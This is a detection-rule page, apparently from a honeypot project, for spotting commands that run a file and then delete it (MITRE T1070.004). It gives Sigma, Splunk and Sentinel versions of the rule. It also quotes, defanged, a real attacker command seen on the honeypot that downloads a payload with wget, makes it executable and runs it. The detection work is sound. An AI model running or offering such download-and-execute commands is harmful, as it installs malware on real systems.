File Deleted Right After It Runs

medium Single event T1070.004 Stealth

A command line runs a file (./name, sh name, or a path under /tmp, /var/tmp, /var/run or /dev/shm) and then deletes with rm. Droppers remove their payload as soon as it has started, so the binary is gone before anyone looks at the disk. The rule doesn't need the download, so it also covers payloads written by echo or copied in earlier.

Tested

Matches all 4 attack events in match.jsonl and none of the 6 look-alike events in nomatch.jsonl. See the test events.

Seen on the honeypot

In the last 30 days (as of 2026-12-05 00:23:53 UTC) this rule fired in 126 sessions (342 matching commands), first on 2026-11-08 and last on 2026-12-04.

Most common matching command (URLs and IP addresses in it are defanged; the attackers' source IPs are never published):

(wget hxxp[:]//185[.]93[.]89[.]72/wget -O- || busybox wget hxxp[:]//185[.]93[.]89[.]72/wget -O-) > w; chmod 777 w; ./w;…

Counted by running this rule's Sigma logic on the honeypot's raw logs every hour.

False positives

Sigma

title: File Deleted Right After It Runs
id: 06013da3-dde3-410c-a7d7-4cd15e859f6b
status: experimental
description: |
  A command line runs a file (./name, sh name, or a path under /tmp, /var/tmp, /var/run or /dev/shm)
  and then deletes with rm. Droppers remove their payload as soon as it has started, so the binary is
  gone before anyone looks at the disk. The rule doesn't need the download, so it also covers payloads
  written by echo or copied in earlier.
references:
  - https://attack.mitre.org/techniques/T1070/004/
author: Estul Lachin
date: 2026-11-08
tags:
  - attack.stealth
  - attack.t1070.004
logsource:
  product: cowrie
detection:
  selection:
    eventid: cowrie.command.input
    input|re: '(^|[;&|]\s*)((ba)?sh\s+\S+|\./\S+|/(tmp|var/tmp|var/run|dev/shm)/\S+).*[;&|]\s*rm\s'
  condition: selection
falsepositives:
  - Build scripts that run ./configure or a test binary and then clean up
level: medium

rules/run_then_delete.yml

Splunk SPL

``` File Deleted Right After It Runs. Generated from rules/run_then_delete.yml by tools/build.py; do not edit. ```
index=honeypot sourcetype=cowrie:json eventid="cowrie.command.input"
| regex input="(^|[;&|]\\s*)((ba)?sh\\s+\\S+|\\./\\S+|/(tmp|var/tmp|var/run|dev/shm)/\\S+).*[;&|]\\s*rm\\s"

Verified in Splunk against the test events. dist/spl/run_then_delete.spl

Microsoft Sentinel KQL

// File Deleted Right After It Runs. Generated from rules/run_then_delete.yml by tools/build.py; do not edit.
Cowrie_CL
| where eventid =~ "cowrie.command.input" and input matches regex "(^|[;&|]\\s*)((ba)?sh\\s+\\S+|\\./\\S+|/(tmp|var/tmp|var/run|dev/shm)/\\S+).*[;&|]\\s*rm\\s"

For the custom table Cowrie_CL (Cowrie's field names). Verified in Microsoft Sentinel against the test events, and deployed there as a scheduled analytics rule that runs every 15 minutes on the live honeypot feed. dist/kql/run_then_delete.kql · analytics rule